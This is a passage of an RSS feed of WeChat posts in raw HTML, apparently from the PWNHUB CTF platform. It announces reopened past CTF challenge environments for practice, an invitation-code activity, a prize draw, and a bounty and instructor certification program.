PingFangTC-light;">红队攻防工程师<br/></span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">安全运营工程师</span></p><p style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(60, 122, 29);line-height: 24px;" data-mid=""><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">...</span></p></section></section></section></section></section></section></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.7777777777777777" data-s="300,640" style="" data-type="jpeg" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=ccc83a1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YdujNWrGx7IwibFz7WQrfvUgtUHZCK5UpcqPY0jAphIkfCpDOrhrqkYD4osRXAFzwmW7cLdGql1Zw%2F640%3Fwx_fmt%3Djpeg"/></p><section style="line-height: normal;text-indent: 2em;margin-bottom: 0px;text-align: center;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">扫描上方二维码注册账号</span></strong></section><section style="line-height: normal;text-indent: 2em;margin-bottom: 0px;text-align: center;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></strong></section><section data-mpa-template="t" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27" style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 27px;"><section label="Copyright Reserved by ipaiban.com." donone="shifuMouseDown(&#39;shifu_t_013&#39;)" mpa-from-tpl="t" mp-original-font-size="16" mp-original-line-height="25.600000381469727" style="margin-top: 5px;padding: 10px;outline: 0px;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);"><section mpa-from-tpl="t" mp-original-font-size="16" mp-original-line-height="25.600000381469727" style="padding: 0.5em;outline: 0px;display: inline-block;border-bottom: 3px solid rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);line-height: 25.6px;"><p mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;font-size: 18px;"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">《胖哈勃冬季赛》</strong><span style="outline: 0px;line-height: 22px;color: rgb(61, 167, 66);"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">赛前预热</strong></span><span mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;color: rgb(19, 192, 186);line-height: 22px;"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">  </strong></span></p></section></section><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_c_037&#39;)" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="25.600000381469727" style="margin: 1em auto;outline: 0px;color: rgb(62, 62, 62);line-height: 25.6px;border-width: initial;border-style: none;border-color: initial;background-color: rgb(255, 255, 255);"><section mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="25.5" style="margin-right: auto;margin-left: auto;padding: 1em;outline: 0px;height: 10em;line-height: 25.5px;overflow: auto;color: rgb(144, 147, 148);background-color: rgb(244, 247, 248);"><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">关注【胖哈勃】公众号</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">将本篇文章分享至朋友圈并保留截图</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">中奖后添加小胖哥微信：</span><strong mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;color: rgb(0, 0, 0);line-height: 25.5px;">15711220440 </span></strong><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">领取奖品</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">本期奖品为</span><strong><span style="outline: 0px;font-size: 14px;line-height: 25.5px;color: rgb(61, 167, 66);">长亭八周年“无限潜能”盲盒套装</span></strong></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;text-align: left;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;color: rgb(0, 0, 0);line-height: 25.5px;">点击下方小程序参与抽奖</span></p></section></section></section><p style="text-align: center;line-height: normal;margin-bottom: 16px;"><mp-miniprogram data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-path="pages/lucky/lottery/detail?id=8l0Za84UynY" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="长亭八周年“无限潜能”盲盒套装" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/tzAD45OOV0Z7rDHncHUaA7MZubArnEDEiaa1AFuRfqp3SnYneNUOqxTbwgTx62Ps79lRyibFIHEu5o7ibFUuWsUuQ/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0"></mp-miniprogram><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;"></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;"></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="383" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="height: 26px;background: #131415;padding: 0px 8px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 26px;" data-mid="">END</p></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500028">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=99537ce8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500028%26idx%3D1%26sn%3De08cc93d1e5a76492ed307bd9837b745%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Nov 2022 17:40:00 +0800</pubDate>
    </item>
    <item>
      <title>你有一条私聊请查收...</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247499062&amp;idx=1&amp;sn=ff61003bfaeddf707daaf61d9a0a3871</link>
      <description>这一期内容千万不要错过～</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-09-27 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>这一期内容千万不要错过～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=60478c41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCLCpA00UF772vg3Dr2JeyJcfpLfH2HqNNYpwz2iblknKMRrfYa9RdJgg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;background: #393939;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;justify-content: space-between;flex: 0.9;" data-mid="" mpa-from-tpl="t"><section style="writing-mode: vertical-rl;text-align: center;margin-top: 14px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 10px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 14px;" data-mid=""><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">PWNHUB STUDY HARD</span></p></section><section style="width: 15px;height: 39px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="2.6" style="display: block;" data-w="30" src="https://wechat2rss.xlab.app/img-proxy/?k=ded839a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FejicicfdnSq10bb6jFwMhbQv6yqEz4hXQZFvWzLG3YKPVoqLgsON2pQd9ibtRFf6EvmnfeaVNib4FO1fVJYMHlzohw%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-mid="" mpa-from-tpl="t" style="flex: 8.4 1 0%;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/FwQoFomyb9VXII59FHwhvtzZo7cqiatPwp9lmia8DRjVSl5v5loD4AicjfWO5ibcXohbsicyKjnqqlWXnqiczLPTmY1g/640?wx_fmt=png&#34;) -1px 1px / 100% 100% no-repeat;padding: 0px 0px 11px 15px;"><img class="rich_pages wxw-img" data-backh="370" data-backw="509" data-cropselx1="0" data-cropselx2="509" data-cropsely1="0" data-cropsely2="216" data-ratio="0.7282913165266106" style="display: block;width: 100%;height: auto;" data-w="714" src="https://wechat2rss.xlab.app/img-proxy/?k=10a23e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCricLQiaFqlGBlib8I5b6DQoFGWwnpdobyqJDJVzU343ciaP2UZJYJXYIMQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;margin-top: 20px;margin-bottom: 10px;padding: 0px 30px;" data-mid="" mpa-from-tpl="t"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><section style="padding: 0px 12px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 32px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 45px;letter-spacing: 2px;margin-top: 3px;" data-mid=""><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">PWNHUB内部赛题目汇总</span></p></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 4px 0px;border-top: 1px solid #FFFFFF;" data-mid="" mpa-from-tpl="t"><section style="padding: 0px 14px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 20px;letter-spacing: 1px;" data-mid=""><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">CTF赛题</span></p></section><section style="background-color: #FFFFFF;height: 37px;width: 1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="text-align: center;padding: 0px 14px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 20px;letter-spacing: 2px;" data-mid=""><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">往期比赛题目<br/></span></p></section></section></section></section></section><section style="margin-bottom: -10.1%;z-index: 1;width: 100%;background: linear-gradient(to bottom, #393939 20%, rgba(255, 255, 255, 0.1) 40%);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.16" style="display: block;" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=bfb893f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1QQcjec0vwaic0iaTyNURmkcyJL0Fpg9lwA764cpEmfso39kfbtDboE2buhtdfbdOic0fMX3DWesCML875f7ZQYKQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p><section style="margin-bottom: 24px;white-space: normal;line-height: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">“小胖小胖～比赛环境关了啊，还想复现一下呢”</span></section><section style="margin-bottom: 24px;white-space: normal;line-height: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">总是有胖友在问往期比赛的题目环境怎么获取，环境可不可以再开放一下？这次小胖哥将<strong><span style="color: rgb(61, 167, 66);">近两年内</span></strong><strong><span style="color: rgb(61, 167, 66);">内部赛题目</span></strong>的环境重新开放了，访问链接</span><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(61, 167, 66);"><a href="https://pwnhub.cn/gamedetail?id=49 " target="_blank">https://pwnhub.cn/gamedetail?id=49 </a></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">无需参与报名即可看到往期内部赛的题目，仅供训练。</span></section><section style="margin-bottom: 24px;white-space: normal;line-height: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"></span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7234530175706646" data-s="300,640" style="border-color: rgb(0, 0, 0);border-style: solid;border-width: 1px;box-sizing: border-box;" data-type="png" data-w="1309" src="https://wechat2rss.xlab.app/img-proxy/?k=b2692d99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0aaDju4zprPzuqmUpkHInXtdre6P6BePs3ACImA1klbuxh36E2vsjmeWohH8a13WCxpQrJCn3CicWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;margin-bottom: 0em;"><br/></p><p style="text-align: left;margin-bottom: 0em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">也想做题但是还没有邀请码怎么办？<br/></span></p><p style="text-align: left;margin-bottom: 0em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">那快来参与一下下面这个活动先来获取一枚</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(61, 167, 66);"><strong>邀请码</strong></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">～</span></p><section style="margin-bottom: 24px;white-space: normal;line-height: normal;text-align: center;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" style="height: 173px;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;white-space: normal;text-align: center;width: 173px;" data-type="gif" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=77f800ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFuleibl6qMuo64ANoIgt4xwNpxkemUPtC5WpawQ82Hvrc4ZC7WwOgvE4q56MMQxgcv9Dib3vT6hWrkDMh0QQBFbg%2F640%3Fwx_fmt%3Dgif"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;background: #333333;padding: 0px 4px 4px 4px;" data-mid="" mpa-from-tpl="t"><section style="margin-top: -4px;background-color: rgb(255, 255, 255);padding: 0px 8px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;margin: 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 7px;height: 2px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 7px;height: 2px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="text-align: center;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 3px;font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 22px;letter-spacing: 3px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">PWNHUB赏金计划</span></p></section><section style="margin-bottom: 7px;margin-top: -7px;width: 100%;height: 6px;background: #D8D8D8;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p style="line-height: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">距离PWNHUB赏金计划夏日认证活动公布第一批通关讲师的名单已经过去 <strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="background-color: rgb(136, 136, 136);">46</span></strong><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> </strong>天了</span></p><p style="line-height: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">听说通关的小伙伴获得了：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/tzAD45OOV0Yh8PQ8MZ4CvnSrvmsusbXsiaHFOt0JdibfOluGrccgY3mzNvckZMxP4LUDPnHp8FeOe3HU50WuGRgA/640?wx_fmt=jpeg" data-cropx1="0" data-cropx2="1076.2629757785467" data-cropy1="0" data-cropy2="1339.7231833910032" data-ratio="1.2444237918215613" data-s="300,640" style="width: 576px;height: 717px;" data-type="jpeg" data-w="1076" src="https://wechat2rss.xlab.app/img-proxy/?k=ae4c4b3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfC6LlYhdy5WgeT2iaJ2lx3MCib3XSKIrnWw6oFSD3rjVBjDCBdS7cHS53g%2F640%3Fwx_fmt%3Djpeg"/></p><section data-role="paragraph" style="white-space: normal;"><p><br/></p><p><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">在如今这个竞争愈烈的环境下，多get一项技能可以使自己多一个可选择的机会。<br/></span></p><p><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;">PWNHUB赏金计划</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;color: rgb(61, 167, 66);">长期进行中</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;">，随时欢迎你的参与。直接私聊小胖哥发送“</span><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;color: rgb(61, 167, 66);">我要参与</span></strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;">”即可咨询活动相关信息，</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;">滑动下方图片跟随小胖一起来回顾一下活动详情内容吧。</span></p><p><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;"><br mpa-from-tpl="t"/></span></p><section data-mpa-dynamic-material="t" data-mpa-template="t" data-mpa-dynamic-material-category="leftRightImgScroll" data-mpa-category="动态" mpa-from-tpl="t"><section data-mpa-material-scale-reedit="scaleContent" data-mpa-material-scale-detail="three-two" style="width: 370px;margin: 0px auto;border-width: 1px;border-style: solid;border-color: rgb(219, 222, 223);padding: 7px;" mpa-from-tpl="t"><section data-mpa-material-image-reedit="imageContent" style="width: 100%;height: 244px;overflow: auto hidden;display: flex;" mpa-from-tpl="t"><section style="width: 100%;height: 100%;overflow: hidden;margin-right: 4px;flex-shrink: 0;" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.733" style="width: 100% !important;max-height: 100% !important;min-height: 100% !important;object-fit: cover;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=787fb9ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCI58GdljBq7am0ukL0ERxIcKuvYOeGWwqU5ornJ76cy4s6ajMrviaItg%2F640%3Fwx_fmt%3Djpeg"/></section><section style="width: 100%;height: 100%;overflow: hidden;margin-right: 4px;flex-shrink: 0;" mpa-from-tpl="t"><img data-ratio="0.706" style="width: 100% !important;max-height: 100% !important;min-height: 100% !important;object-fit: cover;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=5cca4526&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfC9mMtXF2pMA3npozIZmibTsl79ANsKicpsuwMDqU1XCqjGavbxqZ2ytjQ%2F640%3Fwx_fmt%3Djpeg"/></section><section style="width: 100%;height: 100%;overflow: hidden;margin-right: 4px;flex-shrink: 0;" mpa-from-tpl="t"><img data-ratio="0.659" style="width: 100% !important;max-height: 100% !important;min-height: 100% !important;object-fit: cover;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=cd958dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCLvdELfNh1dUUibvKO2CC6Cng2ukSoSYbyKb2Dvnev56z3kE5oc8yetw%2F640%3Fwx_fmt%3Djpeg"/></section><section style="width: 100%;height: 100%;overflow: hidden;margin-right: 4px;flex-shrink: 0;" mpa-from-tpl="t"><img data-ratio="0.628" style="width: 100% !important;max-height: 100% !important;min-height: 100% !important;object-fit: cover;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=700b62c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCpjQPzibb7YaBswxSRt8Mgj0cHKib1ZvhaFDnLjTLpicpxMGzIZFCtnMvg%2F640%3Fwx_fmt%3Djpeg"/></section><section style="width: 100%;height: 100%;overflow: hidden;margin-right: 4px;flex-shrink: 0;" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.596" style="width: 100% !important;max-height: 100% !important;min-height: 100% !important;object-fit: cover;" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7e959fe7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCxtwV9q7D2SFurTrpm5k9owIt3qib4Mvj2oOgvQeEkT16gGicDT4wWRcA%2F640%3Fwx_fmt%3Djpeg"/></section></section><section data-mpa-material-text-reedit="textContent" style="padding: 12px;display: flex;flex-direction: column;justify-content: center;align-items: center;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(153, 153, 153);line-height: 17px;font-size: 12px;" mpa-from-tpl="t"><p>☟左右滑动查看更多</p><p>Slide for more</p></section></section></section><p><br mpa-from-tpl="t"/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;background: #333333;padding: 0px 4px 4px 4px;" data-mid="" mpa-from-tpl="t"><section style="margin-top: -4px;background-color: rgb(255, 255, 255);padding: 0px 8px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;margin: 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 7px;height: 2px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 7px;height: 2px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="text-align: center;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 3px;font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 22px;letter-spacing: 3px;" data-mid="">通关奖励｜奖品更新</p></section><section style="margin-bottom: 7px;margin-top: -7px;width: 100%;height: 6px;background: #D8D8D8;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section></section><section mp-original-font-size="16" mp-original-line-height="24" style="margin-top: 0.8em;outline: 0px;text-size-adjust: auto;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);line-height: 24px;"><br/></section><section mp-original-font-size="16" mp-original-line-height="24" style="margin-top: 0.8em;outline: 0px;text-size-adjust: auto;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);line-height: 24px;"><span style="caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;orphans: 4;text-align: start;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 15px;">通关成功者，根据综合评分进行讲师评级认证，颁发证书（通关认证讲师分为金牌讲师、银牌讲师和铜牌讲师）。</span></section><blockquote class="js_blockquote_wrap" data-type="1" data-url="http://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247498507&amp;idx=1&amp;sn=4b21bf3c8c7be7c10cef5da6c5a5ee76&amp;chksm=eadc6cd0ddabe5c652786e21bea6d94ec95f5927316ae4971bd7aeed3c1859ebd65580ec4412#rd" data-author-name="胖哈勃" data-content-utf8-length="12" data-source-title="PWNHUB赏金计划｜专属你 “独一无二” 的夏日认证"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;width: 100%;padding: 0px 21px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;justify-content: space-between;margin-right: 12px;" data-mid="" mpa-from-tpl="t"><section style="border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/tzAD45OOV0Yh8PQ8MZ4CvnSrvmsusbXsYs9yMQjrn29kPwDic4nZXUou6Vibb44v6c857Ike9m1RcQfOqfmnL9qQ/0?wx_fmt=png" data-cropx1="0" data-cropx2="1000" data-cropy1="65.42056074766356" data-cropy2="878.5046728971963" data-ratio="0.811" style="display: block;width: 214px;height: 174px;" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=96c7a2cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCQgPdJCC4Gn7jlVSQstvSxyw4sqadHAuiawsw8tymkCK5q12o5BWeX8g%2F640%3Fwx_fmt%3Djpeg"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/tzAD45OOV0Yh8PQ8MZ4CvnSrvmsusbXs9C1lZ8OicFtyVaD7yr9ozVI7H263WYyrcYke8IvmL9nCgVUG3CMjS0Q/640?wx_fmt=png" data-cropx1="0" data-cropx2="1021.6068376068375" data-cropy1="36.603514096696934" data-cropy2="718.3439641476773" data-ratio="0.6689520078354554" style="display: block;width: 223px;height: 149px;" data-type="jpeg" data-w="1021" src="https://wechat2rss.xlab.app/img-proxy/?k=3332527b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0aw0TibltPcKiay6zlGWhOicfCjR7RTRnW5bJ14O8L0UUWSe5dKbyu2gu0lQpIXQ4d3GssImGJOibib4og%2F640%3Fwx_fmt%3Djpeg"/></section></section><section data-mid="" mpa-from-tpl="t"><img 